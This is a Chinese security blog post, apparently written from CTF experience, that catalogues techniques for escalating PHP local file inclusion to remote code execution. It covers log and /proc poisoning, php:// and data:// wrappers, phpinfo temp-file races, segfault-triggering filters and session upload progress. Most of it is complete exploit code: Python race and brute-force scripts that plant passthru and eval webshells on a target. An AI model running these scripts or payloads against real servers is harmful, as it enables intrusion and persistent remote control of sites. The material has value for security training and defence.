LFItoRCE利用总结

本文首发于安全客 https://www.anquanke.com/post/id/177491

LFI不止可以来读取文件,还能用来RCE

在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势

/proc/self/environ

需要有/proc/self/environ的读取权限

如果可以读取,修改User-Agent为php代码,然后lfi点包含,实现rce

/proc/self/fd/1,2,3…

需要有/proc/self/fd/1的读取权限

类似于/proc/self/environ,不同是在referer或报错等写入php代码,然后lfi点包含,实现rce

php伪协议

Eetx3V.png

php://filter

用来读文件 https://www.php.net/manual/zh/filters.php

不需要allow_url_includeallow_url_fopen开启

  • php://filter/read=convert.base64-encode/resource=

php://input

可以实现代码执行

需要allow_url_include:on

data://

需要allow_url_fopen,allow_url_include均开启

  • data://text/plain,<?php phpinfo()?>
  • data:text/plain,<?php phpinfo()?>
  • data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
  • d·ata:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

expect://

默认不开启,需要安装PECL package扩展
需要allow_url_include开启

expect://[command]

/var/log/…

ssh日志

需要有/var/log/auth.log的读取权限

如果目标机开启了ssh,可以通过包含ssh日志的方式来getshell

连接ssh时输入

1
ssh `<?php phpinfo(); ?>`@192.168.211.146

php代码便会保存在/var/log/auth.log

然后lfi点包含,实现rce

apache日志

需要有/var/log/apache2/...的读取权限

包含access.logerror.log来rce

但log文件过大会超时返回500,利用失败

更多日志文件地址见:https://github.com/tennc/fuzzdb/blob/master/attack-payloads/lfi/common-unix-httpd-log-locations.txt

with phpinfo

PHP引擎对enctype="multipart/form-data"这种请求的处理过程如下

  1. 请求到达;
  2. 创建临时文件,并写入上传文件的内容;文件为/tmp/php[\w]{6}
  3. 调用相应PHP脚本进行处理,如校验名称、大小等;
  4. 删除临时文件。

构造一个html文件来发送上传文件的数据包

1
2
3
4
5
6
7
<form action="http://192.168.211.146/phpinfo.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

phpinfo可以输出$_FILES信息,包括临时文件路径、名称
EniKRx.png
可以通过分块传输编码,发送大量数据来争取时间,在临时文件删除之前执行包含操作

EniuJ1.png
EniniR.png
Enieo9.png

https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf 中的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
# LFIREQ="""GET /lfi.php?file=%s%%00 HTTP/1.1\r
# User-Agent: Mozilla/4.0\r
# Proxy-Connection: Keep-Alive\r
# Host: %s\r
# \r
# \r
# """
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt")
fn = d[i+17:i+31]
# print fn
except ValueError:
return None

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn

counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)

port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()

if __name__=="__main__":
main()

with php崩溃

php Segfault

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

1. php < 7.2

  • php://filter/string.strip_tags/resource=/etc/passwd

2. php7 老版本通杀

  • php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

更新之后的版本已经修复,不会再使php崩溃了,这里我使用老版本来测试可以利用

包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce

payload1测试:

EnhwdJ.png
E3VzvD.png
EnhULF.png

payload2测试:
EnhdZ4.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: utf-8 -*-
# php崩溃 生成大量临时文件

import requests
import string

def upload_file(url, file_content):
files = {'file': ('daolgts.jpg', file_content, 'image/jpeg')}
try:
requests.post(url, files=files)
except Exception as e:
print e

charset = string.digits+string.letters
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)

url="http://192.168.211.146/lfi.php"
parameter="file"
payload1="php://filter/string.strip_tags/resource=/etc/passwd"
payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
lfi_url = url+"?"+parameter+"="+payload1
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file(lfi_url, file_content)

爆破tmp文件名

然后爆破临时文件名来包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding: utf-8 -*-
import requests
import string

charset = string.digits + string.letters
base_url="http://192.168.211.146/lfi.php"
parameter="file"

for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = base_url+"?"+parameter+"=/tmp/php"+filename
print url
try:
response = requests.get(url)
if 'success' in response.content:
print "[+] Include success!"
print "url:"+url
exit()
except Exception as e:
print e

session

如果session.upload_progress.enabled=On开启,就可以包含session来getshell,并且这个参数在php中是默认开启的

https://php.net/manual/zh/session.upload-progress.php

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

也就是说session中会添加session.upload_progress.prefix+$_POST[ini_get['session.upload_progress.name']],而session.upload_progress.name是可控的,所以就可以在session写入php代码,然后包含session文件来rce

session.upload_progress.prefixsession.upload_progress.name还有session的储存位置session.save_path都能在phpinfo中获取,默认为:
E1xklt.png

同时能看到session.upload_progress.cleanup是默认开启的,这个配置就是POST请求结束后会把session清空,所以session的存在时间很短,需要条件竞争来读取

下面测试一下,构造一个html来发包

1
2
3
4
5
6
<form action="http://192.168.211.146/phpinfo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo(); ?>" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

在数据包里加入PHPSESSION,才能生成session文件

burp不断发包,成功包含
E3ZrPx.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import threading

webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)

url='http://192.168.211.146/lfi.php'
r=requests.session()

def POST():
while True:
file={
"upload":('daolgts.jpg', file_content, 'image/jpeg')
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":file_content
}
headers={
"Cookie":'PHPSESSID=123456'
}
r.post(url,files=file,headers=headers,data=data)

def READ():
while True:
event.wait()
t=r.get("http://192.168.211.146/lfi.php?file=/var/lib/php/sessions/sess_123456")
if 'success' not in t.text:
print('[+]retry')
else:
print(t.text)
event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

LFI自动化利用工具

会自动扫描利用以下漏洞,并且获取到shell